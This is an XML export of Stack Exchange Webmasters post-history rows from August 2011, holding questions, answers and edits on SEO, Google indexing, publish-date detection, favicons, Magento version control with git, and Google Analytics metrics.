  <row Id="44690" PostHistoryTypeId="2" PostId="18390" RevisionGUID="3c929722-00b1-4971-beb4-f7c401362e1f" CreationDate="2011-08-18T08:20:42.227" UserId="5727" Text="So many variables at work here, it would be hard to pinpoint what is at work here.  My first thing to say would be:&#xD;&#xA;&#xD;&#xA; - What's your sample size (in days)&#xD;&#xA; - What's your sample size (in unique visitors)&#xD;&#xA;&#xD;&#xA;If you have very low sample sizes in either of those categories you may just be experiencing short term statistical variance.  You need bigger sample sizes to conclude anything confidently.&#xD;&#xA;&#xD;&#xA;If your sample sizes are large enough to confidently say &quot;my bounce rate *has* increased by 20%&quot; then it gets quite tricky as there are hundreds of variables at work here that affect each other, it would be pretty difficult usually to pinpoint exactly what is going on.&#xD;&#xA;&#xD;&#xA;Aesthetics is one of the biggest factors, sometimes it takes a lot of tweaking, and a lot  of patience to really understand what your audience is looking for." />
  <row Id="44691" PostHistoryTypeId="5" PostId="18388" RevisionGUID="62e52986-3184-4dbf-88b1-1febf95baa61" CreationDate="2011-08-18T08:30:46.167" UserId="4306" Comment="formatting" Text="There are pages in Google's index that were [crawled on 10th August][1] that do not have the `noindex` metatag. So you probably just need to be patient and wait for the Googlebot to recrawl your page.&#xD;&#xA;&#xD;&#xA;However, if you want to request a removal of certain pages from the index, you can do this through Google Webmaster Tools [[instructions][2]]:&#xD;&#xA;&#xD;&#xA;&gt;  If you own the site&#xD;&#xA;&gt;  &#xD;&#xA;&gt;  - Verify your ownership of the site in Webmaster Tools.&#xD;&#xA;&gt;  - On the Webmaster Tools home page, click the site you want.&#xD;&#xA;&#xD;&#xA;&gt;  -  On the Dashboard, click Site configuration in the left-hand&#xD;&#xA;   navigation.&#xD;&#xA;&gt;  -   Click Crawler access, and then click Remove URL.&#xD;&#xA;&gt;  -   Click New removal request.&#xD;&#xA;&gt;  -   Type the URL of the page you want removed from search results&#xD;&#xA;   (not the Google search results URL or cached page URL), and then&#xD;&#xA;   click Continue. How to find the right URL. Note that the URL is&#xD;&#xA;   case-sensitive—you will need to submit the URL using exactly the same&#xD;&#xA;   characters and the same capitalization that the site uses.&#xD;&#xA;&gt;  -   Click Remove page from search results and cache.&#xD;&#xA;&gt;  -   Click Submit Request.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From here:&#xD;&#xA;&#xD;&#xA; - http://www.google.com/support/webmasters/bin/answer.py?answer=164734&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webcache.googleusercontent.com/search?q=cache:5srZfUT1_B0J:www.comehike.com/outdoors/parks/edit_park_topic.php?park_id=30533&amp;topic_id=5&amp;topic_name=Flowers&amp;park_name=Peace%2520Park%20site:comehike.com/outdoors/parks/edit_park_topic.php&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=sg&amp;source=www.google.com.sg&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=164734" />
  <row Id="44692" PostHistoryTypeId="5" PostId="18049" RevisionGUID="2edcd058-84c7-410c-ad39-566bf0d8913b" CreationDate="2011-08-18T08:47:33.907" UserId="231" Comment="deleted 50 characters in body" Text="Is there a reason why a _favicon.ico_ is not showing in Safari 5.1 on Mac? It shows on every other browser I have tested except the above mentioned one. In Safari on Windows it shows.&#xD;&#xA;&#xD;&#xA;I've declared it like this:&lt;br /&gt;&#xD;&#xA;`&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://www.mysite.com/favicon.ico&quot; /&gt;`&#xD;&#xA;" />
  <row Id="44693" PostHistoryTypeId="2" PostId="18391" RevisionGUID="7b0e6d88-dd65-4e8a-b422-a1484e7fb35c" CreationDate="2011-08-18T09:05:24.113" UserId="2115" Text="I am using Wordpress for my website. I was  working on CPANEL yesterday and was browsing `public-html/wp-admin folder` under the `File manager`. &#xD;&#xA;&#xD;&#xA;There were many files and I accidentally deleted the `admin-header.php` file. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Where can I get an another copy of that file so that I can upload it to the same folder from where it got deleted?" />
  <row Id="44694" PostHistoryTypeId="1" PostId="18391" RevisionGUID="7b0e6d88-dd65-4e8a-b422-a1484e7fb35c" CreationDate="2011-08-18T09:05:24.113" UserId="2115" Text="Where can I find admin-header.php file online?" />
  <row Id="44695" PostHistoryTypeId="3" PostId="18391" RevisionGUID="7b0e6d88-dd65-4e8a-b422-a1484e7fb35c" CreationDate="2011-08-18T09:05:24.113" UserId="2115" Text="&lt;wordpress&gt;&lt;cpanel&gt;" />
  <row Id="44696" PostHistoryTypeId="25" PostId="18389" RevisionGUID="fd9ef0e8-d145-4d6b-9e99-93928d06562a" CreationDate="2011-08-18T09:34:50.413" Comment="http://twitter.com/#!/StackWebmasters/status/104124083096141826" />
  <row Id="44697" PostHistoryTypeId="2" PostId="18392" RevisionGUID="82f84b41-8743-4ed1-9a7b-97420ccffa6a" CreationDate="2011-08-18T09:45:34.717" UserId="8238" Text="Also, how does this percentage change during the day? Is it different in developed countries than in developing countries?" />
  <row Id="44698" PostHistoryTypeId="1" PostId="18392" RevisionGUID="82f84b41-8743-4ed1-9a7b-97420ccffa6a" CreationDate="2011-08-18T09:45:34.717" UserId="8238" Text="How much percentage of total internet users are online at any given moment?" />
  <row Id="44699" PostHistoryTypeId="3" PostId="18392" RevisionGUID="82f84b41-8743-4ed1-9a7b-97420ccffa6a" CreationDate="2011-08-18T09:45:34.717" UserId="8238" Text="&lt;statistics&gt;" />
  <row Id="44700" PostHistoryTypeId="17" PostId="18393" RevisionGUID="36b816a2-9a8e-4754-8545-42ed559c180e" CreationDate="2011-08-18T10:17:00.577" UserId="-1" Comment="from http://stackoverflow.com/questions/7100643/putting-together-html-css-and-javascript" Text="" />
  <row Id="44701" PostHistoryTypeId="17" PostId="18394" RevisionGUID="19851984-2aac-4c2b-901a-aff3dc152721" CreationDate="2011-08-18T10:17:00.577" UserId="-1" Comment="from http://stackoverflow.com/questions/7100643/putting-together-html-css-and-javascript" Text="" />
  <row Id="44702" PostHistoryTypeId="2" PostId="18394" RevisionGUID="018f0a01-7447-4685-9734-7ab2837e6394" CreationDate="2011-08-17T23:20:55.723" UserId="7296" Text="Firstly you should probably ask this question over at http://webmasters.stackexchange.com &#xD;&#xA;&#xD;&#xA;Secondly W3Schools teaches the syntax and the rules but not the design aspects of websites. You should look up on how to cover a PhotoShop document to CSS and HTML&#xD;&#xA;&#xD;&#xA;For example see&#xD;&#xA;&#xD;&#xA;http://csshowto.com/layout/psd-to-csshtml-in-easy-steps-part-1/&#xD;&#xA;&#xD;&#xA;http://designm.ag/resources/converting-psd-to-html/" />
  <row Id="44703" PostHistoryTypeId="2" PostId="18393" RevisionGUID="c374c00f-0f9d-47a1-ba37-fb71aca11402" CreationDate="2011-08-17T23:11:44.763" UserId="9670" UserDisplayName="Inspire48" Text="Hopefully this question isn't too broad…&#xD;&#xA;&#xD;&#xA;I am a competent iOS programmer and have some experience with Java (command-line tools). Over the last year or two I've dabbled into HTML, CSS, and JavaScript. Learning iOS and Java, I started with a book (*Programming in Objective-C* (Kochan)—it was my first language besides a tiny bit of C) and once I got the syntax down, I would just go to *the* source of documentation and figure things out. I know the HTML, CSS, and JavaScript syntax, but I don't know how to put it all together into a &quot;modern&quot;/well-designed web page. I can do some some simple formatting, run some scripts, but the layout still looks like it was designed by a 90-year-old bank executive in a cheap suit. I don't see how to put the languages together into a webpage…Given static images, I would not be able to pull together a mockup of the SO site, for example. I know about `&lt;img&gt;` tags and basic CSS position, but it's just not coming together for me. I also find that what little &quot;official&quot; documentation (W3Schools) exists is rather shallow and does not do a good job of joining everything together…but that might just be because I'm not familiar with everything.&#xD;&#xA;&#xD;&#xA;Can anyone recommend any really good resources (web or print, preferably not video, as I'd like to go at my own pace) that can help me? &#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;Addendum:&#xD;&#xA;Coming from a desktop platform, I'm used to things being where they are and having much more control over aspects, primarily UI layout but also data input methods and processing—iOS and Java have much richer libraries than JavaScript. How should I get around this mentality? Does anyone have any personal experience?" />
  <row Id="44704" PostHistoryTypeId="1" PostId="18393" RevisionGUID="c374c00f-0f9d-47a1-ba37-fb71aca11402" CreationDate="2011-08-17T23:11:44.763" UserId="9670" UserDisplayName="Inspire48" Text="Putting Together HTML, CSS, and JavaScript" />
  <row Id="44705" PostHistoryTypeId="3" PostId="18393" RevisionGUID="c374c00f-0f9d-47a1-ba37-fb71aca11402" CreationDate="2011-08-17T23:11:44.763" UserId="9670" UserDisplayName="Inspire48" Text="&lt;javascript&gt;&lt;html&gt;&lt;css&gt;&lt;web-development&gt;&lt;design&gt;" />
  <row Id="44706" PostHistoryTypeId="2" PostId="18395" RevisionGUID="cb03daff-3050-435d-aceb-5058500066b6" CreationDate="2011-08-18T10:32:42.147" UserId="9664" Text="When I search something in Google, I sometimes see the publishing date of the post/article underneath. I've also searched for an article of my own which I have on my Wordpress-powered site, and Google also recognizes its publish date.&#xD;&#xA;&#xD;&#xA;When I open my website's source, I don't see any special tags or anything that indicates the publish date. It is only written in a regular div, with nothing special tagged that would tell the SE that it is the publishing date (I could have any other dates of other things around the page too).&#xD;&#xA;&#xD;&#xA;So is it hardcoded into Google the exact place of the Wordpress publish date in the DOM tree, or am I missing something?&#xD;&#xA;&#xD;&#xA;I'm building a new website, with my own CMS, and I'm trying to find out how to implement date published recognition." />
  <row Id="44707" PostHistoryTypeId="1" PostId="18395" RevisionGUID="cb03daff-3050-435d-aceb-5058500066b6" CreationDate="2011-08-18T10:32:42.147" UserId="9664" Text="How does Google recognize publish date of a post" />
  <row Id="44708" PostHistoryTypeId="3" PostId="18395" RevisionGUID="cb03daff-3050-435d-aceb-5058500066b6" CreationDate="2011-08-18T10:32:42.147" UserId="9664" Text="&lt;google-search&gt;" />
  <row Id="44709" PostHistoryTypeId="2" PostId="18396" RevisionGUID="59aa75ba-0442-458a-8a62-324733413c70" CreationDate="2011-08-18T10:58:29.137" UserId="5137" Text="I think Google uses Sitemap and RSS feed to recognize published date..&#xD;&#xA;you can impliment this feature in your CMS by creating a xml site map according to [Standards][1].&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    &lt;lastmod&gt;2011-08-18&lt;/lastmod&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php&#xD;&#xA;" />
  <row Id="44710" PostHistoryTypeId="2" PostId="18397" RevisionGUID="7c26606f-2b12-488d-91bf-fc275996ef0c" CreationDate="2011-08-18T11:19:25.133" UserId="5727" Text="I think it intelligently looks for any dates on the page and when it's confident that it's the relevant date it uses it.&#xD;&#xA;&#xD;&#xA;It's a little difficult sometimes as I think it can have a negative impact on SERP click-ability, I suppose it can have a temporary positive impact if it's a recent article/post but I'm fairly sure my sites would be better off without it (Google searchers might not be better off without it though!)&#xD;&#xA;&#xD;&#xA;There are no options to control it via Google, only with your own methods.  You can either:&#xD;&#xA;&#xD;&#xA; - Replace dates with dynamically generated images in an attempt to stop Google discovering it, but this can lead to other problems such as visual alignment/consistent font display/accessibility etc.&#xD;&#xA; - Strip all dates from the pages (this again might be frustrating for visitors/users when they want to discover the age of a source if you have relevant information).&#xD;&#xA;&#xD;&#xA;For these reasons I would just ignore it." />
  <row Id="44711" PostHistoryTypeId="2" PostId="18398" RevisionGUID="a541c55b-ead1-4964-b2f2-3013915ca74c" CreationDate="2011-08-18T11:29:37.480" UserId="5727" Text="Due to the design/nature of the Internet such figures are really hard/impossible to obtain.  There will be a lot of variance between countries/regions in countries in regards to time spent online, and which hours are spent online.&#xD;&#xA;&#xD;&#xA;Also definitions of Internet access are a little difficult to pin down.  Is someone sending an email on their phone on the Internet?  Someone streaming TV through the Internet 'on the Internet'?&#xD;&#xA;&#xD;&#xA;Pingdom has seemingly quite good statistics from 2010:&#xD;&#xA;&#xD;&#xA;http://royal.pingdom.com/2011/01/12/internet-2010-in-numbers/&#xD;&#xA;&#xD;&#xA;They also list their sources as well so you can check them out individually.  It states there are around 2 billion Internet users worldwide (2010).  If I'm just going to pull a number out of my ass and say the average usage per day per person is 30 mins (which is a total guess) that would mean in a 24 hour period there are 48 1/2 hour slots, with an even distribution there would be ~40 million users online at any one time.  If you +- a generous 25% margin for timezone/wealth differences and general variance, I think you could expect anywhere from 30 million to 50 million people online at any one time.&#xD;&#xA;&#xD;&#xA;There's a lot of assumptions there though, but it seems like a reasonable starting point.&#xD;&#xA;" />
  <row Id="44712" PostHistoryTypeId="2" PostId="18399" RevisionGUID="ca6533b1-019b-4b43-b082-a2f7b5bc44b8" CreationDate="2011-08-18T12:00:19.957" UserId="9666" Text="I see from WMT that my site has 4 (404) crawl errors, each Linked from 2 separate pages. As this is a small directory listings site it would be difficult to delete the missing URLs from the db each time it happens. Does Google penalise me for this in any way? " />
  <row Id="44713" PostHistoryTypeId="1" PostId="18399" RevisionGUID="ca6533b1-019b-4b43-b082-a2f7b5bc44b8" CreationDate="2011-08-18T12:00:19.957" UserId="9666" Text="Crawl Errors (404) Showing Up in WMT" />
  <row Id="44714" PostHistoryTypeId="3" PostId="18399" RevisionGUID="ca6533b1-019b-4b43-b082-a2f7b5bc44b8" CreationDate="2011-08-18T12:00:19.957" UserId="9666" Text="&lt;google-webmaster-tools&gt;&lt;google-crawlers&gt;" />
  <row Id="44715" PostHistoryTypeId="2" PostId="18400" RevisionGUID="252ebde6-69e6-4733-90c1-163cb9ca6947" CreationDate="2011-08-18T12:11:38.987" UserId="8557" Text="I am planning to start a news website wherein I will be syndicating news from News Distribution Services and Press Releases. What most Webmasters in this field do is to directly copy (or atleast 95% of) the content provided by the news distribution service or press release and publish them. So, eventually, there are many news sites that are going to have the same content (or with a very few changes) and it happens that some of these sites have a PR of 6 or even 7 or 8. Obviously, they rank higher. In my website, I will have a news section which will essentially contain the content from the PR or NDS but I will also have more sections wherein I will be posting High Quality and Original articles. How would Google and other Search Engines treat my website for duplicate content.&#xD;&#xA;&#xD;&#xA;P.S. I definitely wan't the news section because I wan't my readers to get access to news as well. Can spinning news articles be a good Idea? What I wan't to do is grab the news source and write it in my own words and then publish it. Please post suggestions." />
  <row Id="44716" PostHistoryTypeId="1" PostId="18400" RevisionGUID="252ebde6-69e6-4733-90c1-163cb9ca6947" CreationDate="2011-08-18T12:11:38.987" UserId="8557" Text="Duplicate Content and News - How do SE's treat them?" />
  <row Id="44717" PostHistoryTypeId="3" PostId="18400" RevisionGUID="252ebde6-69e6-4733-90c1-163cb9ca6947" CreationDate="2011-08-18T12:11:38.987" UserId="8557" Text="&lt;duplicate-content&gt;" />
  <row Id="44718" PostHistoryTypeId="5" PostId="18036" RevisionGUID="a27eb81e-79ab-4b63-96b5-d190881e3270" CreationDate="2011-08-18T12:18:07.883" UserId="221" Comment="added 32 characters in body" Text="If you feel that they are over-crawling your site (perhaps even missing deeper content) you should ensure that your HTTP headers are returning good values for things like 'lastmodified' time etc. It may be that Googlebot overestimates how much your site is changing. As a bonus your site will behave better with regards to caching (be it proxy or browser based) and thus feel a little faster.&#xD;&#xA;&#xD;&#xA;You'd do well to study what URLs are being crawled (by reviewing your server logs). If they are recrawling the same URL again and again, you definitely have a problem. A common variant on this is if you have a page that can be displayed in many different ways using request variables. Googlbot may try to crawl *every possible combination* of those variables.&#xD;&#xA;&#xD;&#xA;An example I've encountered as a crawl operator was a page that had a list of twenty headings, any combination of which could be expanded. Basically, that page had 2^20 different URLs! &#xD;&#xA;&#xD;&#xA;Make sure that Googlebot isn't stuck crawling basically the same page over and over again with trivially different parameters (I've seen it get caught up in this)" />
  <row Id="44720" PostHistoryTypeId="2" PostId="18401" RevisionGUID="fd66a079-6280-4448-9fe3-e35270d336fa" CreationDate="2011-08-18T12:23:55.590" UserId="9669" Text="you should go through xml sitemap or RSS feed version to index your publish data through major search engines such as Google, Yahoo, &amp; MSN. Generate XML sitemap for your website and submit it in web master tools for index. [QuickSSL Premium][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.rapidsslonline.com/quickssl-premium.aspx" />
  <row Id="44721" PostHistoryTypeId="5" PostId="18393" RevisionGUID="e8755cd4-9d69-4c79-bd40-1badfee5b45b" CreationDate="2011-08-18T12:31:51.513" UserId="9670" Comment="Update 1" Text="Hopefully this question isn't too broad…&#xD;&#xA;&#xD;&#xA;I am a competent iOS programmer and have some experience with Java (command-line tools). Over the last year or two I've dabbled into HTML, CSS, and JavaScript. Learning iOS and Java, I started with a book (*Programming in Objective-C* (Kochan)—it was my first language besides a tiny bit of C) and once I got the syntax down, I would just go to *the* source of documentation and figure things out. I know the HTML, CSS, and JavaScript syntax, but I don't know how to put it all together into a &quot;modern&quot;/well-designed web page. I can do some some simple formatting, run some scripts, but the layout still looks like it was designed by a 90-year-old bank executive in a cheap suit. I don't see how to put the languages together into a webpage…Given static images, I would not be able to pull together a mockup of the SO site, for example. I know about `&lt;img&gt;` tags and basic CSS position, but it's just not coming together for me. I also find that what little &quot;official&quot; documentation (W3Schools) exists is rather shallow and does not do a good job of joining everything together…but that might just be because I'm not familiar with everything.&#xD;&#xA;&#xD;&#xA;Can anyone recommend any really good resources (web or print, preferably not video, as I'd like to go at my own pace) that can help me? &#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;**Addendum:**&#xD;&#xA;Coming from a desktop platform, I'm used to things being where they are and having much more control over aspects, primarily UI layout but also data input methods and processing—iOS and Java have much richer libraries than JavaScript. How should I get around this mentality? Does anyone have any personal experience?&#xD;&#xA;&#xD;&#xA;**Update 1:**&#xD;&#xA;Thanks for the replies (This is more for the comments; Daveo's answer is rather helpful). However, I do want to say that it's not the actual design I need help with—it's converting the design into code, not only in mockup/layout form but also in actual usability." />
  <row Id="44722" PostHistoryTypeId="25" PostId="18392" RevisionGUID="97e1b065-0a87-49dd-ad64-a71c3b1238a4" CreationDate="2011-08-18T12:34:50.383" Comment="http://twitter.com/#!/StackWebmasters/status/104169382267195393" />
  <row Id="44723" PostHistoryTypeId="2" PostId="18402" RevisionGUID="4dd590ec-8109-425d-bb81-34fc96a7949d" CreationDate="2011-08-18T12:56:52.397" UserId="9669" Text="I believe that entire question is relevance of WordTracker Key Word Tool. Go through wordtracker key phrase tool. [QuickSSL Premium][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.rapidsslonline.com/quickssl-premium.aspx" />
  <row Id="44724" PostHistoryTypeId="17" PostId="18403" RevisionGUID="afe6264a-23c4-4738-a7ef-6fb7dd1a8201" CreationDate="2011-08-18T12:57:05.360" UserId="-1" Comment="from http://stackoverflow.com/questions/7097297/magento-project-management-source-control" Text="" />
  <row Id="44725" PostHistoryTypeId="17" PostId="18404" RevisionGUID="79cc7557-359a-43cd-8349-8e01c26b91cc" CreationDate="2011-08-18T12:57:05.360" UserId="-1" Comment="from http://stackoverflow.com/questions/7097297/magento-project-management-source-control" Text="" />
  <row Id="44726" PostHistoryTypeId="2" PostId="18404" RevisionGUID="4fc69aa7-623a-423b-9e20-408fadf9715b" CreationDate="2011-08-18T05:50:05.440" UserId="3857" Text="you didn't specified what version control you are using. Easiest way to do cowboy development is to use git for version control and here's how to: &#xD;&#xA;&#xD;&#xA; 1. make a git repo master branch that has all magento versions in it although not necessary (http://blog.speedupmate.com/post/4063307705/magento-git-mirror)&#xD;&#xA; 2. checkout your dev branch with the version you like to use (git checkout -b dev_branch)&#xD;&#xA; 3. checkout your stage branch from dev branch (git checkout -b stage_branch dev_branch)&#xD;&#xA; 4. checkout your live branch from dev branch (git checkout -b live_branch dev_branch)&#xD;&#xA; 5. on your localhost checkout the dev branch and develop there and if some feature is ready for committing you can commit it and push the changes to your remote repo. If your remote repo is on the same server where your live site then it is all you have to do to get your changes to the server&#xD;&#xA; 6. next step is to move changes to staging and that is just merging stage and dev branch. Stage is the place where you have a replica of live database and client or you can test the development in live like conditions&#xD;&#xA; 7. if your tests are good and changes are approved you can merge your changes from dev to live &#xD;&#xA;&#xD;&#xA;On your live server you have staging and live environments checked out from your git repo to the public folders where domains are mapped so those site installations are actually checkouts from your git repo&#xD;&#xA;&#xD;&#xA;On your localhost you have a site that is checked out from dev branch and you never checkout live or staging branch there and you don't commit to those branches only to dev branch and not to master, stage or live that way you can push your changes to remote without conflicts&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also a good thing to have a .gitignore file in place that will ignore any files under var, media or pear cache folders so you don't version unnecessary stuff that is unique for each environment. Also its good to ignore any local setup files like local.xml &#xD;&#xA;&#xD;&#xA;You can also automate this with fabric , capistrano or git hooks and similar tools&#xD;&#xA; " />
  <row Id="44727" PostHistoryTypeId="2" PostId="18403" RevisionGUID="18823ab4-c286-436a-9dc6-78631151eb5d" CreationDate="2011-08-17T17:59:59.867" UserDisplayName="Johnathan" Text="Need some advice on project management with Magento.&#xD;&#xA;&#xD;&#xA;I have been putting my whole project under source control but its becoming a nightmare to manage.  I am now thinking of installing a base magento on local dev and live and then just putting my local code directory, design and theme directory under source control (svn in my case).&#xD;&#xA;&#xD;&#xA;Obviously this has drawbacks also.&#xD;&#xA;&#xD;&#xA;Can some more experienced developers offer some advice on how they manage their code on magento projects between local, dev and live sites.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44728" PostHistoryTypeId="1" PostId="18403" RevisionGUID="18823ab4-c286-436a-9dc6-78631151eb5d" CreationDate="2011-08-17T17:59:59.867" UserDisplayName="Johnathan" Text="Magento project management - source control" />
  <row Id="44729" PostHistoryTypeId="3" PostId="18403" RevisionGUID="18823ab4-c286-436a-9dc6-78631151eb5d" CreationDate="2011-08-17T17:59:59.867" UserDisplayName="Johnathan" Text="&lt;magento&gt;" />
  <row Id="44730" PostHistoryTypeId="2" PostId="18405" RevisionGUID="4ddeb039-be2e-453c-93ac-a58951762212" CreationDate="2011-08-18T12:59:26.490" UserId="9671" Text="I have set up custom variables a couple of months ago. Basically it tracks categories of pages, much like [the example in the docs][1].&#xD;&#xA;&#xD;&#xA;Now I want to get a list of the most popular categories. I've checked the dashboard, and the data is being reported fine. However, I noticed that on the dashboard, the amounts listed in the column 'visits' don't match the amounts I get when requesting the Analytics API. Instead, these numbers seem to correspond with [the number of unique events][2].&#xD;&#xA;&#xD;&#xA;Maybe the dashboard uses the wrong parameter here, it clearly says the `visits` column represents:&#xD;&#xA;&#xD;&#xA;&gt; The number of visits to your site with one of more of these custom&#xD;&#xA;&gt; variables specified.&#xD;&#xA;&#xD;&#xA;Or maybe I'm just interpreting this the wrong way. The pages that track these custom variables call two actions: `_trackPageview` and `_trackPageLoadTime`. All other pages call these actions as well, without the custom variables.&#xD;&#xA;&#xD;&#xA;Below is sample output from the [Data Feed Query Explorer][3] for my categories:&#xD;&#xA;![enter image description here][4]&#xD;&#xA;&#xD;&#xA;I want to know what's best to use in my API calls; the `ga:visits` metric is substantially lower than the number of unique events. How do I need to interpret this table exactly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html#pageLevel&#xD;&#xA;  [2]: http://code.google.com/apis/analytics/docs/gdata/gdataReferenceDimensionsMetrics.html#ga:uniqueEvents&#xD;&#xA;  [3]: http://code.google.com/apis/analytics/docs/gdata/gdataExplorer.html&#xD;&#xA;  [4]: http://i.stack.imgur.com/wgbCr.png" />
  <row Id="44731" PostHistoryTypeId="1" PostId="18405" RevisionGUID="4ddeb039-be2e-453c-93ac-a58951762212" CreationDate="2011-08-18T12:59:26.490" UserId="9671" Text="Should I measure visits or unique events?" />
  <row Id="44732" PostHistoryTypeId="3" PostId="18405" RevisionGUID="4ddeb039-be2e-453c-93ac-a58951762212" CreationDate="2011-08-18T12:59:26.490" UserId="9671" Text="&lt;google-analytics&gt;&lt;visitors&gt;&lt;analytics-api&gt;" />
  <row Id="44733" PostHistoryTypeId="5" PostId="18401" RevisionGUID="a309e9d2-4b25-4eaa-8f7a-72e5fcc4f04c" CreationDate="2011-08-18T13:19:24.010" UserId="4502" Comment="Removed irrelevant SSL cert self-link. " Text="you should go through xml sitemap or RSS feed version to index your publish data through major search engines such as Google, Yahoo, &amp; MSN. Generate XML sitemap for your website and submit it in web master tools for index." />
  <row Id="44734" PostHistoryTypeId="5" PostId="18402" RevisionGUID="8ec0111f-e432-47f0-b2cb-7c1124aad412" CreationDate="2011-08-18T13:19:35.380" UserId="4502" Comment="Removed irrelevant SSL cert self-link. " Text="I believe that entire question is relevance of WordTracker Key Word Tool. Go through wordtracker key phrase tool" />
  <row Id="44736" PostHistoryTypeId="19" PostId="12252" RevisionGUID="c203fe8f-5801-4ba4-b920-336325b394fe" CreationDate="2011-08-18T13:21:38.420" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44738" PostHistoryTypeId="2" PostId="18406" RevisionGUID="bdf0da74-c6d8-4c0e-9aaa-439a32bdadbf" CreationDate="2011-08-18T13:23:58.770" UserId="9672" Text="Sosospider is a Chinese Search Engine.  Whether you think it is worthy of crawling your site depends on your sites contents.  My site is an online retail shop which does not ship to China, so we do not allow them to crawl it.  However, if you decide to ban them and implement a robots.txt file, keep an eye on your logs because many have said they ignore the robots.txt (regardless of what their website states)." />
  <row Id="44742" PostHistoryTypeId="5" PostId="17826" RevisionGUID="b80f0c32-2d96-4784-8cfc-77d27f4edba3" CreationDate="2011-08-18T13:33:50.723" UserId="9404" Comment="edited body" Text="I have added the Google +1 Button to my website and discovered the new Social Activity section in Google WebMaster's Tools. Apparently, one of the interesting things you can learn about your audience is demographic data. But in GWT, the _Social Activity &gt; Audience_ section for my site (currently 46 +1's), says the following: &#xD;&#xA;&#xD;&#xA;&gt; Your site doesn’t have enough +1′s yet to show characteristics&#xD;&#xA;&#xD;&#xA;But I'm not sure how many +1's is enough. Google's official [help page for the Audience section][1] offers little insight:&#xD;&#xA;&#xD;&#xA;&gt; The Audience page displays information about people who have +1'd your pages, including the total number of unique users, their location, and their age and gender.&#xD;&#xA;&#xD;&#xA;&gt; All information is anonymized; Google doesn't share personal information about people who have +1’d your pages. To protect privacy, Google won't display age, gender, or location data unless a certain minimum number of people have +1'd your content.&#xD;&#xA;&#xD;&#xA;But what is that &quot;certain minimum number&quot;? I've tried Googling this but all I could find to date was [this page][2] which doesn't answer the question.&#xD;&#xA;&#xD;&#xA;So how many +1's does a site need before GWT will show me audience demographic characteristics?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=1198127&amp;hl=en&#xD;&#xA;  [2]: http://www.im3.co.uk/blog/how-many-1s-do-i-need-to-show-characteristics/" />
  <row Id="44743" PostHistoryTypeId="14" PostId="18391" RevisionGUID="09b06c44-56ec-4565-889c-11f9554c64b6" CreationDate="2011-08-18T14:06:41.063" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44744" PostHistoryTypeId="17" PostId="18391" RevisionGUID="a7e1ea42-3731-4f62-98cc-499f43bcbc1e" CreationDate="2011-08-18T14:06:41.077" UserId="108" Comment="to http://wordpress.stackexchange.com/questions/26246/where-can-i-find-admin-header-php-file-online" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44745" PostHistoryTypeId="10" PostId="18391" RevisionGUID="936497fa-2b26-4152-80a1-4e2c54798e76" CreationDate="2011-08-18T14:06:40.033" UserId="108" CloseReasonId="2" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44746" PostHistoryTypeId="2" PostId="18407" RevisionGUID="b6fe8ace-76a8-4623-ba56-2b96a5a9d00d" CreationDate="2011-08-18T14:24:57.273" UserId="1243" Text="I very much doubt that the published date of a post or article is based on the `&lt;lastmod&gt;` entry in an XML sitemap (as others have suggested) or the Last-Modified HTTP header for that matter. An XML Sitemap is only advisory, not authoritative. The last modified date of a document is probably not the same as the (original) publish date of an article. And, as I mentioned in my comment at the top of the page, the last modified date of a document is probably more important for caching and _perhaps_ determining crawl rates. The Last-Modified HTTP header of dynamically generated pages are often very close to the actual date/time (as it is for WordPress blogs).&#xD;&#xA;&#xD;&#xA;An RSS/Atom feed on the other hand does contain this specific nugget of information. And indeed, on Wordpress sites that do not include the publish date in the content, the publish date still appears in Google's search results. And as far as I can tell, this matches the date in the RSS Feed.&#xD;&#xA;&#xD;&#xA;If there is no RSS feed I think Google is clever enough to analyse the page content. Particularly if dates are marked up 'semantically' with the help of [microformats](http://microformats.org/wiki/datetime-design-pattern). It's perfectly feasible that Google will see the following as the authoritative published date for an article that it is contained within:&#xD;&#xA;&#xD;&#xA;    &lt;abbr class=&quot;published&quot; title=&quot;2010-08-27T15:45:00-0700&quot;&gt;&#xD;&#xA;    Friday, August 27th, 2010&#xD;&#xA;    &lt;/abbr&gt;&#xD;&#xA;&#xD;&#xA;Google certainly does read [microformats](http://microformats.org/wiki/Main_Page) - hCard, hReview, etc.&#xD;&#xA;&#xD;&#xA;And just for the record (if @Tom is suggesting otherwise :) I think posts/articles should have the publish date visibly displayed. Many don't, and this can be frustrating for the reader particularly when researching technology issues and you find that having read half way through the article it's out of date!" />
